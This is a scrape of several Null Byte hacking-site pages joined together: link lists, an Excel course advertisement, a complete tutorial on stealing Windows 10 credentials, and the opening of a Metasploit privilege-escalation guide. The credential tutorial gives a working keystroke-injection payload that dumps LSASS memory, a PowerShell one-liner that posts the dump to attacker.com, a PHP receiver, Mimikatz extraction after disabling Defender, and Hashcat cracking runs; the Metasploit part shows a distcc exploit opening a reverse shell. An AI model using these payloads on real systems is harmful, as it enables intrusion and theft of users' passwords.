cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedSQL Injection 101:How to Fingerprint Databases & Perform General Reconnaissance for a More Successful AttackSQL Injection 101:Advanced Techniques for Maximum ExploitationSQL Injection 101:Database & SQL Basics Every Hacker Needs to KnowHow To:SQL Injection Finding Vulnerable Websites..SQL Injection 101:How to Avoid Detection & Bypass DefensesBecome an Elite Hacker Part 4:Hacking a Website. [Part 1]How To:Use SQL Injection to Run OS Commands & Get a ShellSQL Injection 101:Common Defense Methods Hackers Should Be Aware OfHow To:Compromise a Web Server & Upload Files to Check for Privilege Escalation, Part 1How To:Hack websites with SQL injectionHow To:Protect against SQL injection attacks when programming in PHPHow to Hack Databases:The Terms & Technologies You Need to Know Before Getting StartedHow To:Hack Hackademic.RTB1 Machine Part 1How To:The Essential Newbie's Guide to SQL Injections and Manipulating Data in a MySQL DatabaseHow To:Spider Web Pages with Nmap for SQLi VulnerabilitiesGoodnight Byte:HackThisSite, Realistic 4 - Real Hacking SimulationsGoogle Dorking:AmIDoinItRite?How To:Hack websites with SQL injection and WebGoatHow To:Is Your Website Vulnerable to XSS Injections? Here's How to Protect Your VisitorsHow To:Protect Your PHP Website from SQL Injection HacksNews:Hardvard.edu Remote SQL 0day
Supercharge Your Excel Skills with This Expert-Led Bundle « Null Byte :: WonderHowTo
We've already highlightedthe importance of learning Microsoft Excel from a hacker's standpoint, but it's also just a good skill to have as you'll likely come across the number-crunching powerhouse at school and work, as well as in other areas of your life, such as budgeting.Excel has earned its reputation as being one of the world's most versatile and ubiquitous workbook platforms due to its intuitive interface, expandable design, and easy-to-use formulas. But the tool can be used for much more than merely creating spreadsheets and sorting data. In the right hands, this platform can be a valuable asset for visualizing data and generating game-changing insights.With four courses and over 20 hours of advanced lectures, theComplete 2020 Microsoft Excel Expert Bundlewill transform you from a run-of-the-mill Excel novice into a full-fledged pro, and the entire training package is available for over 85% off at just $29.99.Ideal for frequent Excel users who want to take advantage of the platform's more complex elements but equally well-suited for more casual users who want to build on their existing Excel knowledge, this extensive training package will help you land or further a career in a wide variety of data-driven fields.In the expansive Microsoft Excel 2019 course, you'll dive into high-level consolidation and analysis methods that are used at the forefront of financial reporting and software development — all through easy-to-follow lessons that revolve around utilizing formulas, calculations, graphs, and charts.With some advanced essentials under your belt, you'll move on to topics that walk you throughpivot tablesand automation techniques that will drastically reduce your work time, along with analysis methods and tools that are used by development professionals in order to gain valuable insights from massive sets of complex data.Purchasing the training grants you unlimited access to every educational resource in this bundle for life along with any new content that may be added in the future, and there are plenty of helpful resources — including workbooks and real-world examples — to help you along the way.Add an advanced knowledge of Excel to your data and analytics toolkit with the Complete 2020 Microsoft Excel Expert Bundle while it's available forjust $29.99— over 85% off its usual price for a limited time.Prices are subject to change.Try It Out Today:Complete 2020 Microsoft Excel Expert Bundle for $29.99Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image byMika Baumeister/UnsplashRelatedHow To:Hack Your Business Skills with These Excel CoursesHow To:These Excel Courses Can Turn You into an In-Demand Data WizHow To:Become a Master Problem Solver by Learning Data Analytics at HomeHow To:This 5-Course Data Analytics Bundle Is Just $49 TodayHow To:Learn How to Play the Market with This Data-Driven Trading BundleHow To:Expand Your Analytical & Payload-Building Skill Set with This In-Depth Excel TrainingNews:Now's the Perfect Time to Brush Up on Your Excel SkillsHow To:Master Excel with This Certification BundleHow To:Make Excel Work for You with This Training BundleHow To:Learn How to Speculate & Make Money as a Day Trader While You're Stuck at HomeHow To:This Extensive Python Training Is Under $40 TodayHow To:You Can Learn the Data Science Essentials at Home in Just 14 HoursHow To:Prep for a Lucrative Project Management Career with These CoursesHow To:Learn the Essentials of Accounting to Boost Profit Margins in Your Small BusinessHow To:Leap into Cybersecurity with This Ethical Hacking BundleHow To:Time Management Will Never Be an Issue Again with This 7-Course Work from Home BundleHow To:Become a Big Data Expert with This 10-Course BundleNews:You Can Master Adobe's Hottest Tools from Home for Only $34How To:8 Web Courses to Supplement Your Hacking KnowledgeHow To:This Course Bundle Will Teach You How to Start & Grow a BusinessHow To:Become a Data Wizard with This Microsoft Excel & Power BI TrainingHow To:Become a Productive Microsoft Apps Power User with 97% Off This Course BundleHow To:Learn the Essential Skills to Start a Career in IT with This Affordable Online TrainingHow To:Learn About Data Analysis with Excel & Power BI for Only $25How To:Take the First Step Towards an In-Demand & Lucrative Career in IT for Under $35How To:Break into the Lucrative World of Ethical Hacking with This Reasonably Priced Course BundleDeal Alert:Learn to Code for Only $39 While You're Stuck at HomeHow To:Harness the Power of Big Data with This 10-Course BundleHow To:Start Making Your Own Apps Today with This $20 BundleHow To:Learn the Easiest Way to Animate Your Own Cartoons with This Animation Bundle for Windows, Now 75% OffHow To:Become a Certified Project Management Pro from Home for Less Than $50How To:10 Coding, SEO & More Courses on Sale Right Now That Will Turn You into a Pro DeveloperHow To:Learn to Code Your Own Games with This Hands-on BundleHow To:Make Your New Year's Resolution to Master Azure with This BundleHow To:Learn to Draw Like a Pro for Under $40How To:Expand Your Coding Skill Set by Learning How to Build Games in UnityDeal Alert:The Ultimate eLearning Bundle Is Now on Sale for Just $99How To:Master Adobe's Top Design Tools for Under $50 Right NowDeal Alert:Grab This Microsoft Office Beginner's Guide for Only $35How To:Learn to Code for Less Than $40
Hacking Windows 10: How to Dump NTLM Hashes & Crack Windows Passwords « Null Byte :: WonderHowTo
Windows 10 passwords stored as NTLM hashes can be dumped and exfiltrated to an attacker's system in seconds. The hashes can be very easily brute-forced and cracked to reveal the passwords in plaintext using a combination of tools, including Mimikatz, ProcDump, John the Ripper, and Hashcat.Before we get to any of that, let's discuss the Local Security Authority Subsystem Service (LSASS), an essential part of the Windows operating system.LSASS is responsible for authoritative domain authentication, active directory management, and enforcing security policies. It generates the processes accountable for authenticating users withNTLMas well as verifies the validity of logins. Because it's so crucial to the functionality of the operating system, hackers will oftenrename malicious executables after the process.Mimikatz & ProcDumpMimikatz, created bygentilkiwi, can be used to extract password hashes,Kerberos tickets, and PIN codes from Windows 10's memory. Since its creation,Mimikatz has made headlines worldwideand become notorious for its ability to extract sensitive credentials from a running Windows computer.Today, Windows Defender and antivirus software have become increasingly effective at detecting Mimikatz executions and signatures (shown below).VirusTotal detection rates for latest Mimikatz version.In combination with Mimikatz, hackers now useProcDump, a standalone executable designed for administrators to monitor application crash dumps.Don't Miss:Backdoor Windows 10 & Livestream the DesktopProcDump is used to extract the LSASS dump, which is latermoved to an offline Windows 10 computer and analyzed with Mimikatz. This is still an effective technique for extracting credentials from Windows 10, as ProcDump is a signed Microsoft binary anddoes not get flagged by most antivirus software(shown below).The Windows 10 Task Manager can also be used to dump LSASS memory, without the help of Mimikatz or ProcDump. Below is an exampleMousejack payloaddesigned to extract and exfiltrate the LSASS dump with only keystroke injection exploits and PowerShell. The attack is completed in under ten seconds (it has been slowed down at certain points for interpretation).The Task Manager is opened in the Run window with administrative privileges. The screen turns entirely dark for a second due to theUser Access Control(UAC) prompt, which prevents the GIF creator from recording the screen. Then, the Local Security Authority Process (lsass.exe) is located in the list of processes and dumped into the %TEMP% directory (by default). A PowerShell one-liner is then executed entirely from the run window. It compresses the LSASS dump into a ZIP file and sends it to the attacker's server.At this point, the attacker can use Mimikatz in an offline Windows 10 computer or virtual machine (that doesn't have antivirus software installed) to extract hashed passwords.Step 1: Create the Keystroke Injection PayloadThe below keystroke injection payload can be invoked withMousejack vulnerabilitiesor aUSB Rubber Ducky.While MouseJack vulnerabilities were disclosed several years ago, tens of millions of keyboards and mice (including Logitech devices) arestill suspectable to keystroke injection. As Marcus Mengs, creator ofP4wnP1illustrates in hisproof of concept video, Logitechdongles are still vulnerable to remote attacks.Comments (REM) have been added to each line in the payload to clarity.REM 2.5 second delay to give Windows 10 some time to properly REM mount the USB Rubber Ducky. This initial delay isn't REM required with Mousejack attacks. DELAY 2500 REM Open the run command window. GUI r REM Allow the run command window 1 second to open. DELAY 1000 REM Type "taskmgr" (i.e., Task Manager) into the run window. STRING taskmgr REM Delay for .5 seconds. DELAY 500 REM Ctrl+Shift+Enter keyboard combination is pressed to invoke REM the User Account Control (UAC) window. This will cause REM taskmgr to open with administrative privileges. CTRL+SHIFT ENTER REM Allow the UAC window to popup. This can take several seconds REM on some Windows 10 machines. DELAY 2500 REM ALT+y keyboard combination to accept and bypass the UAC REM prompt. ALT y REM Allow several seconds for Task Manager to fully open with REM admin privileges. This took (on average) 5.5 seconds in my REM tests. In some scenarios, with high-end CPUs, this delay REM can be considerably lower. DELAY 5500 REM Press down on the keyboard to move from the tool bar to the REM list of active background processes. DOWN REM Type "local" to jump down and highlight the "Local Security REM Authority Service" processes. STRING local REM SHIFT+F10 keyboard combination invokes the right-click options REM menu. SHIFT F10 REM Allows 1.2 seconds for the options menu to fully open. DELAY 1200 REM Press down on the keyboard 4 times to highlight the "Create REM dump file" option. DOWN DOWN DOWN DOWN REM Press Enter to select the "Create dump file" option. ENTER REM Allow 3.5 seconds for the dump file to create and save itself REM to the %TEMP% directory. DELAY 3500 REM Press Enter to select "OK" and close the dump popup window. ENTER REM ALT+F4 combination to close the Task Manager window. ALT F4 REM Allow .7 seconds for the Task Manager to close. DELAY 700 REM Open the run command window again. GUI r REM Allow .7 seconds for the run window to open. DELAY 700 REM PowerShell one-liner to compress and exfiltrate the LSASS REM dump file. Each part of the one-liner is explained in greater REM detail below. STRING powershell -ep bypass /w 1 /C $t=$env:temp;$l='lsass.DMP';compress-archive -path $t\$l -destinationpath $t\a.zip;iwr attacker.com/i.php -method POST -infile $t\a.zip REM Press Enter to execute the PowerShell one-liner. ENTERThe PowerShell payload consists of several commands chained together by semicolons:powershell -ep bypass /w 1 /C— TheExecutionPolicy(-ep) is set to "bypass" to allow PowerShell execution through Windows Defender and some antivirus software. TheWindowStyle(/w) is set to "1," which immediately hides the PowerShell pop-up terminal.$t=$env:temp;— The target's temp directory is set to the variable $t. The single-letter variable usage helps shorten the overall length of the payload; It's more effective than typing "C:\Users\%USERNAME%\AppData\Local\Temp" over and over again.$l='lsass.DMP';— The lsass.DMP file name is set to the variable $l. This filename is defined by the Task Manager automatically.compress-archive -path $t\$l -destinationpath $t\a.zip;— PowerShell'sCompress-Archivecmdlet is used to zip the lsass.DMP (-path) into the "a.zip" (-destinationpath) file.iwr attacker.com/i.php -method POST -infile $t\a.zip—Invoke-Webrequest(iwr) sends the a.zip (-infile) to the attacker's server in the form of aPOST request. Be sure to change "attacker.com" to Kali's local IP address orvirtual private serveraddress.Step 2: Intercept the LSASS DumpBefore performing any keystroke injection, a PHP server is needed to intercept the exfiltrated dump.The keystroke injection payload is expecting a server on port 80. This example will use Kali Linux on a local network for simplicity, so root privileges are already in use. Setting this up on avirtual private server, however, will require root to open a listening service on port 80.Non-Kali users can start with the following command.~$ sudo suThen, create a directory called "phpServer/" using the belowmkdircommand.~$ mkdir phpServer/Change into the phpServer/ directory using thecdcommand.~$ cd phpServer/Create a file called "i.php" withnano.~$ nano i.phpPaste the below PHP script into the nano terminal. Once that's done, to save and exit the nano terminal, pressCtrl+x, theny, thenEnter.<?php $file = date("Hism") . ".zip"; file_put_contents($file, file_get_contents("php://input")); ?>This simple PHP script is capable of intercepting ZIP files and doesn't need to be modified in any way to function. When the target Windows 10 computer sends a .zip, this PHP server will save the data with the time as the file name.Start the PHP server with thephp -S 0.0.0.0:80command. The-Stells PHP to start a web server, while0.0.0.0tells it to host the server on every IPv4 interface.~$ php -S 0.0.0.0:80 PHP 7.3.0-2 Development Server started Listening on http://0.0.0.0:80 Document root is /root/phpServer Press Ctrl-C to quit.Step 3: Extract the Hashes with MimikatzOnce the ZIP has been intercepted, move it to a Windows 10 computer orvirtual machine. Unzip it to find the lsass.DMP file.Make sure to disable Windows Defender and other security features before downloading Mimikatz. Open the Start menu and search for "virus."Don't Miss:Intercept & Decrypt Windows Passwords on a Local NetworkClick on the "Virus & threat protection settings" and disable all of the available options. Alternatively, avirtual machine that doesn't have Windows Defender or Smartscreen installedcan be configured for Mimikatz antics.At the time of this writing, the latest version of Mimikatz is 2.2.0, Carlos update. Open a web browser and navigate toits GitHub repositoryto find the latest "mimikatz_trunk.zip" version.After unzipping the Mimikatz ZIP, open a PowerShell terminal. Use the following command to execute the mimikatz.exe, and the mimikatz prompt will appear.C:\> PS & "C:\Users\$env:username\PATH\TO\MIMIKATZ\x64\mimikatz.exe" .#####. mimikatz 2.2.0 (x64) #18362 Aug 13 2019 01:35:04 .## ^ ##. "A La Vie, A L'Amour" - (oe.eo) ## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com ) ## \ / ## > http://blog.gentilkiwi.com/mimikatz '## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com ) '#####' > http://pingcastle.com / http://mysmartlogon.com ***/ mimikatz #The belowsekurlsa::minidumpcommand will load the lsass.DMP into Mimikatz.mimikatz # sekurlsa::minidump C:\Users\%USERNAME%\Documents\lsass.DMP Switch to MINIDUMP : 'C:\Users\tokyoneon\Documents\lsass.DMP'Then, use thesekurlsa::logonPasswordscommand to extract hashed credentials. Since Windows 8,plaintext passwords are no longer stored in memorywithout further modifying the operating system. But that doesn't mean Windows 10 hashes can be brute-forced and easily cracked. In line 12, we'll find the hashed password in NTLM format.mimikatz # sekurlsa::logonPasswords Opening : 'C:\Users\tokyoneon\Documents\lsass.DMP' file for minidump... 1 Authentication Id : 0 ; 102597 (00000000:000190c5) 2 Session : Interactive from 1 3 User Name : tokyoneon 4 Domain : MSEDGEWIN10 5 Logon Server : MSEDGEWIN10 6 Logon Time : 5/31/2019 1:01:05 AM 7 SID : S-1-5-21-3859058339-3768143778-240673529-1000 8 msv : 9 [00000003] Primary 10 * Username : tokyoneon 11 * Domain : MSEDGEWIN10 12 * NTLM : 7b5e40a5b7b17972ad793b9fc868a66e 13 * SHA1 : 6076b8f4d982b55097f910b3fb5a81c801954406 14 tspkg : 15 wdigest : 16 * Username : tokyoneon 17 * Domain : MSEDGEWIN10 18 * Password : (null) 19 kerberos : 20 * Username : tokyoneon 21 * Domain : MSEDGEWIN10 22 * Password : (null) 23 ssp : 24 credman : 25 Authentication Id : 0 ; 102306 (00000000:00018fa2) 26 Session : Interactive from 1 27 User Name : tokyoneon 28 Domain : MSEDGEWIN10 29 Logon Server : MSEDGEWIN10 30 Logon Time : 5/31/2019 1:01:05 AM 31 SID : S-1-5-21-3859058339-3768143778-240673529-1000 32 msv : 33 [00000003] Primary 34 * Username : tokyoneon 35 * Domain : MSEDGEWIN10 36 * NTLM : 7b5e40a5b7b17972ad793b9fc868a66e 37 * SHA1 : 6076b8f4d982b55097f910b3fb5a81c801954406 38 tspkg : 39 wdigest : 40 * Username : tokyoneon 41 * Domain : MSEDGEWIN10 42 * Password : (null) 43 kerberos : 44 * Username : tokyoneon 45 * Domain : MSEDGEWIN10 46 * Password : (null) 47 ssp : 48 credman : 49 Authentication Id : 0 ; 74052 (00000000:00012144) 50 Session : Service from 0 51 User Name : sshd_server 52 Domain : MSEDGEWIN10 53 Logon Server : MSEDGEWIN10 54 Logon Time : 5/31/2019 1:01:04 AM 55 SID : S-1-5-21-3859058339-3768143778-240673529-1003 56 msv : 57 [00000003] Primary 58 * Username : sshd_server 59 * Domain : MSEDGEWIN10 60 * NTLM : 8d0a16cfc061c3359db455d00ec27035 61 * SHA1 : 94bd2df8ae5cadbbb5757c3be01dd40c27f9362f 62 tspkg : 63 wdigest : 64 * Username : sshd_server 65 * Domain : MSEDGEWIN10 66 * Password : (null) 67 kerberos : 68 * Username : sshd_server 69 * Domain : MSEDGEWIN10 70 * Password : (null) 71 ssp : 72 credman : mimikatz #Step 4: Brute-Forcing the NTLM HashResearch suggestsmost passwords are between six and eight characters, usually consisting of six letters and ending with two digits.As a little experiment, I wanted to learn how long it would take aRaspberry Pi 3B+, commonIntel i7 CPU, andGeForce GTX GPUto crack the same hash consisting of six random characters and ending with two random numbers (e.g., nchfyr56).Don't Miss:Use Leaked Databases to Create Brute-Force Wordlists1. Brute-Force with Raspberry Pi 3B+ (John the Ripper)After installingJohn the Ripperon a Raspberry Pi 3B+, the password (nchfyr56) was guessed in just over five hours. Considering most passwords are eight characters long,mask attackswith a Raspberry Pi are surprisingly practical for brute-forcing NTLM hashes.Available on Amazon:CanaKit Raspberry Pi 3B+ with Power Supply~$ john -mask=?l?l?l?l?l?l?d?d --format=NT /root/Desktop/hash Using default input encoding: UTF-8 Loaded 1 password hash (NT [MD4 32/32]) Warning: no OpenMP support for this hash type, consider --fork=4 Press 'q' or Ctrl-C to abort, almost any other key for status nchfyr56 (?) 1g 0:05:19:24 DONE (2018-06-22 16:36) 0.000052g/s 1389Kp/s 1389Kc/s 1389KC/s achfyr56..zuhfyr56 Use the "--show --format=NT" options to display all of the cracked passwords reliably Session completed2. Brute-Force with Intel i7 CPU (Hashcat CPU)The very same NTLM hash took only three minutes to crack with an old Intel i7 but was estimated to take fifteen minutes to complete theentire keyspace.~$ hashcat /tmp/hash -m 1000 -a3 ?l?l?l?l?l?l?d?d hashcat (v5.1.0) starting... OpenCL Platform #1: The pocl project ==================================== * Device #1: pthread-Intel(R) Core(TM) i7-3537U CPU @ 2.00GHz, 2048/5809 MB allocatable, 4MCU 7b5e40a5b7b17972ad793b9fc868a66e:nchfyr56 Session..........: hashcat Status...........: Cracked Hash.Type........: NTLM Hash.Target......: 7b5e40a5b7b17972ad793b9fc868a66e Time.Started.....: Fri Aug 31 21:48:25 2019 (2 mins, 50 secs) Time.Estimated...: Fri Aug 31 21:51:15 2019 (0 secs) Guess.Mask.......: ?l?l?l?l?l?l?d?d [8] Guess.Queue......: 1/1 (100.00%) Speed.#1.........: 35719.8 kH/s (7.23ms) @ Accel:512 Loops:128 Thr:1 Vec:8 Recovered........: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts Progress.........: 6049366016/30891577600 (19.58%) Rejected.........: 0/6049366016 (0.00%) Restore.Point....: 344064/1757600 (19.58%) Restore.Sub.#1...: Salt:0 Amplifier:896-1024 Iteration:0-128 Candidates.#1....: hstrxp56 -> tjoqxn56 Started: Fri Aug 31 21:48:09 2019 Stopped: Fri Aug 31 21:51:16 20193. Brute-Force with GeForce GTX GPU (Hashcat GPU)The NTLM hash was cracked in under one second. This was accomplished with a fairly low-endGeForce GTX 1060 GPU.~$ hashcat /tmp/hash -m 1000 -a3 ?l?l?l?l?l?l?d?d OpenCL Platform #1: NVIDIA Corporation ====================================== * Device #1: GeForce GTX 1060 3GB, 754/3018 MB allocatable, 9MCU 7b5e40a5b7b17972ad793b9fc868a66e:nchfyr56 Session..........: hashcat Status...........: Cracked Hash.Type........: NTLM Hash.Target......: 7b5e40a5b7b17972ad793b9fc868a66e Time.Started.....: Fri Aug 31 03:00:38 2019 (0 secs) Time.Estimated...: Fri Aug 31 03:00:38 2019 (0 secs) Guess.Mask.......: ?l?l?l?l?l?l?d?d [8] Guess.Queue......: 1/1 (100.00%) Speed.#1.........: 4658.0 MH/s (7.06ms) @ Accel:128 Loops:32 Thr:1024 Vec:1 Recovered........: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts Progress.........: 1094713344/30891577600 (3.54%) Rejected.........: 0/1094713344 (0.00%) Restore.Point....: 0/1757600 (0.00%) Restore.Sub.#1...: Salt:0 Amplifier:896-928 Iteration:0-32 Candidates.#1....: hstera12 -> eusind80 Hardware.Mon.#1..: Temp: 34c Fan: 25% Util: 92% Core:1898MHz Mem:3802MHz Bus:16 Started: Fri Aug 31 03:00:34 2019 Stopped: Fri Aug 31 03:00:39 2019When testing stronger passwords containing eight characters and two digits (e.g., Psjhfhdd48) against the GPU, the hash was cracked in under twenty-five minutes.~$ hashcat /tmp/hash2 -w4 -O -m 1000 -a3 ?u?l?l?l?l?l?l?l?d?d OpenCL Platform #1: NVIDIA Corporation ====================================== * Device #1: GeForce GTX 1060 3GB, 754/3018 MB allocatable, 9MCU 30346ad7463810ea4d5a58090611e368:Psjhfhdd48 Session..........: hashcat Status...........: Cracked Hash.Type........: NTLM Hash.Target......: 30346ad7463810ea4d5a58090611e368 Time.Started.....: Fri Aug 31 03:19:11 2019 (23 mins, 28 secs) Time.Estimated...: Fri Aug 31 03:42:39 2019 (0 secs) Guess.Mask.......: ?u?l?l?l?l?l?l?l?d?d [10] Guess.Queue......: 1/1 (100.00%) Speed.#1.........: 12459.0 MH/s (97.89ms) @ Accel:256 Loops:676 Thr:1024 Vec:1 Recovered........: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts Progress.........: 17567648317440/20882706457600 (84.13%) Rejected.........: 0/17567648317440 (0.00%) Restore.Point....: 25985286144/30891577600 (84.12%) Restore.Sub.#1...: Salt:0 Amplifier:0-676 Iteration:0-676 Candidates.#1....: Mackuobd48 -> Xzkmatgd48 Hardware.Mon.#1..: Temp: 73c Fan: 50% Util:100% Core:1835MHz Mem:3802MHz Bus:16 Started: Fri Aug 31 03:19:09 2019 Stopped: Fri Aug 31 03:42:40 2019NTLM hashes of even greater integrity (eight characters + four digits) were estimated to take about two days to crack.~$ hashcat /tmp/hash3 -w4 -O -m 1000 -a3 ?u?l?l?l?l?l?l?l?d?d?d?d Session..........: hashcat Status...........: Running Hash.Type........: NTLM Hash.Target......: aa110854b242ed77c07be54e62611464 Time.Started.....: Fri Aug 31 03:43:40 2019 (45 secs) Time.Estimated...: Sun Sept 2 01:48:09 2019 (1 day, 22 hours) Guess.Mask.......: ?u?l?l?l?l?l?l?l?d?d?d?d [12] Guess.Queue......: 1/1 (100.00%) Speed.#1.........: 12589.8 MH/s (96.68ms) @ Accel:256 Loops:676 Thr:1024 Vec:1 Recovered........: 0/1 (0.00%) Digests, 0/1 (0.00%) Salts Progress.........: 559804317696/2088270645760000 (0.03%) Rejected.........: 0/559804317696 (0.00%) Restore.Point....: 828112896/3089157760000 (0.03%) Restore.Sub.#1...: Salt:0 Amplifier:0-676 Iteration:0-676 Candidates.#1....: Maecdesr2000 -> Xzoejixr2000 Hardware.Mon.#1..: Temp: 65c Fan: 38% Util:100% Core:1847MHz Mem:3802MHz Bus:16 [s]tatus [p]ause [b]ypass [c]heckpoint [q]uit =>For hackers with dedicated brute-force machines, two days is very much within the realm of realistic. With a cluster of superior GPUs, an attacker caneasily crack any hash derived from a wider keyspace.Until next time, follow me on Twitter@tokyoneon_andGitHub. And as always, leave a comment below or message me on Twitter if you have any questions.Don't Miss:Getting Started with Hacking Windows 10Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover photo byAlex Kotliarskyi/Unsplash; Screenshots by tokyoneon/Null ByteRelatedHacking Windows 10:How to Intercept & Decrypt Windows Passwords on a Local NetworkHow To:Perform a Pass-the-Hash Attack & Get System Access on WindowsHack Like a Pro:How to Crack Passwords, Part 1 (Principles & Technologies)Hack Like a Pro:How to Grab & Crack Encrypted Windows PasswordsHow To:Use John the Ripper in Metasploit to Quickly Crack Windows HashesHack Like a Pro:How to Remotely Grab Encrypted Passwords from a Compromised ComputerHack Like a Pro:How to Crack Passwords, Part 2 (Cracking Strategy)How to Hack Wi-Fi:Cracking WPA2-PSK Passwords with CowpattyHow To:Recover Passwords for Windows PCs Using OphcrackHacking Windows 10:How to Steal & Decrypt Passwords Stored in Chrome & Firefox RemotelyHow to Meterpreter:Obtaining User Credentials with PowerShellHow To:Use Hash-Identifier to Determine Hash Types for Password CrackingHack Like a Pro:How to Crack Passwords, Part 3 (Using Hashcat)Hack Like a Pro:Using TFTP to Install Malicious Software on the TargetAndroid for Hackers:How to Backdoor Windows 10 & Livestream the Desktop (Without RDP)Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 8 (Setting Up a Fake SMB Server to Capture Domain Passwords)How To:Extract Windows Usernames, Passwords, Wi-Fi Keys & Other User Credentials with LaZagneHow To:Crack Shadow Hashes After Getting Root on a Linux SystemHack Like a Pro:How to Crack User Passwords in a Linux SystemHow to Hack Wi-Fi:Cracking WPA2 Passwords Using the New PMKID Hashcat AttackHacking macOS:How to Hack a Mac Password Without Changing ItHow To:How Hackers Take Your Encrypted Passwords & Crack ThemHow To:Remove a Windows Password with a Linux Live CDHow To:GPU Accelerate Cracking Passwords with HashcatRainbow Tables:How to Create & Use Them to Crack PasswordsHow To:Recover a Windows Password with OphcrackHow To:Hack Mac OS X Lion PasswordsNews:Advanced Cracking Techniques, Part 1: Custom DictionariesMastering Security, Part 1:How to Manage and Create Strong PasswordsHow To:Carve Saved Passwords Using CainNews:Advanced Cracking Techniques, Part 2: Intelligent BruteforcingGoodnight Byte:HackThisSite, Realistic 5 - Real Hacking SimulationsHow To:Make an Unbreakable Linux Password Using a SHA-2 Hash AlgorithmHow To:Mine Bitcoin and Make MoneyHow To:Sneak into Your Roommate's Computer by Bypassing the Windows Login ScreenHow To:How Hackers Steal Your Internet & How to Defend Against It
How to Get Root with Metasploit's Local Exploit Suggester « Null Byte :: WonderHowTo
So you've managed toget a shellon the target, but you only have measly low-level privileges. Now what? Privilege escalation is a vast field and can be one of the most rewarding yet frustrating phases of an attack. We could go the manual route, but like always,Metasploitmakes it easy to performlocal privilege escalationand get root with its exploit suggester module.To run through the process, we're usingKali Linuxas the attacking machine andMetasploitable 2as the target. You can set up or use a similar pentesting lab — or the same one — to follow along with the guide below.Step 1: Get Session on TargetThe first thing we need to do is get asession with low privilegeson the target. We can easily do this with Metasploit. Typemsfconsolein theterminalto launch it.~$ msfconsole [-] ***rting the Metasploit Framework console...\ [-] * WARNING: No database support: No database YAML file [-] *** .,,. . .\$$$$$L..,,==aaccaacc%#s$b. d8, d8P d8P #$$$$$$$$$$$$$$$$$$$$$$$$$$$b. `BP d888888p d888888P '7$$$$\""""''^^`` .7$$$|D*"'``` ?88' d8bd8b.d8p d8888b ?88' d888b8b _.os#$|8*"` d8P ?8b 88P 88P`?P'?P d8b_,dP 88P d8P' ?88 .oaS###S*"` d8P d8888b $whi?88b 88b d88 d8 ?8 88b 88b 88b ,88b .osS$$$$*" ?88,.d88b, d88 d8P' ?88 88P `?8b d88' d88b 8b`?8888P'`?8b`?88P'.aS$$$$Q*"` `?88' ?88 ?88 88b d88 d88 .a#$$$$$$"` 88b d8P 88b`?8888P' ,s$$$$$$$"` 888888P' 88n _.,,,ass;: .a$$$$$$$P` d88P' .,.ass%#S$$$$$$$$$$$$$$' .a$###$$$P` _.,,-aqsc#SS$$$$$$$$$$$$$$$$$$$$$$$$$$' ,a$$###$$P` _.,-ass#S$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$####SSSS' .a$$$$$$$$$$SSS$$$$$$$$$$$$$$$$$$$$$$$$$$$$SS##==--""''^^/$$$$$$' _______________________________________________________________ ,&$$$$$$'_____ ll&&$$$$' .;;lll&&&&' ...;;lllll&' ......;;;llll;;;.... ` ......;;;;... . . =[ metasploit v5.0.20-dev ] + -- --=[ 1886 exploits - 1065 auxiliary - 328 post ] + -- --=[ 546 payloads - 44 encoders - 10 nops ] + -- --=[ 2 evasion ] msf5 >Metasploitable contains a vulnerable service called distccd, which is used to distribute program compilation across multiple systems, speeding things up by taking advantage of combined processor power. Unfortunately, this version of the program allows a remote attacker to execute arbitrary commands on the server.We can search for the exploit using thesearchcommand:msf5 > search distcc Matching Modules ================ # Name Disclosure Date Rank Check Description - ---- --------------- ---- ----- ----------- 0 exploit/unix/misc/distcc_exec 2002-02-01 excellent Yes DistCC Daemon Command ExecutionTo load the module, typeusefollowed by the full path of the module:msf5 > use exploit/unix/misc/distcc_execWe can now see the available settings with theoptionscommand:msf5 exploit(unix/misc/distcc_exec) > options Module options (exploit/unix/misc/distcc_exec): Name Current Setting Required Description ---- --------------- -------- ----------- RHOSTS yes The target address range or CIDR identifier RPORT 3632 yes The target port (TCP) Exploit target: Id Name -- ---- 0 Automatic TargetIt looks like we only need to set the remote host address since theremote portis already set using the default port number. Use thesetcommand to specify the appropriate IP address of the target:msf5 exploit(unix/misc/distcc_exec) > set rhosts 10.10.0.50 rhosts => 10.10.0.50Now we are ready to launch the exploit . Use theruncommand, which is just a shorter alias for exploit:msf5 exploit(unix/misc/distcc_exec) > run [*] Started reverse TCP double handler on 10.10.0.1:4444 [*] Accepted the first client connection... [*] Accepted the second client connection... [*] Command: echo sWI9yfQYbPxuIGrh; [*] Writing to socket A [*] Writing to socket B [*] Reading from sockets... [*] Reading from socket B [*] B: "sWI9yfQYbPxuIGrh\r\n" [*] Matching... [*] A is input... [*] Command shell session 1 opened (10.10.0.1:4444 -> 10.10.0.50:58006) at 2019-11-19 11:46:02 -0500 uname -a Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/LinuxWe can see that a command shell was opened, and runninguname -averifies we have compromised the target.Step 2: Upgrade to MeterpreterTo use Metasploit's local exploit suggester, we need toupgrade our basic Unix command shellto a Meterpreter session. While still in the basic command shell, pressCtrl-Zto background the session. 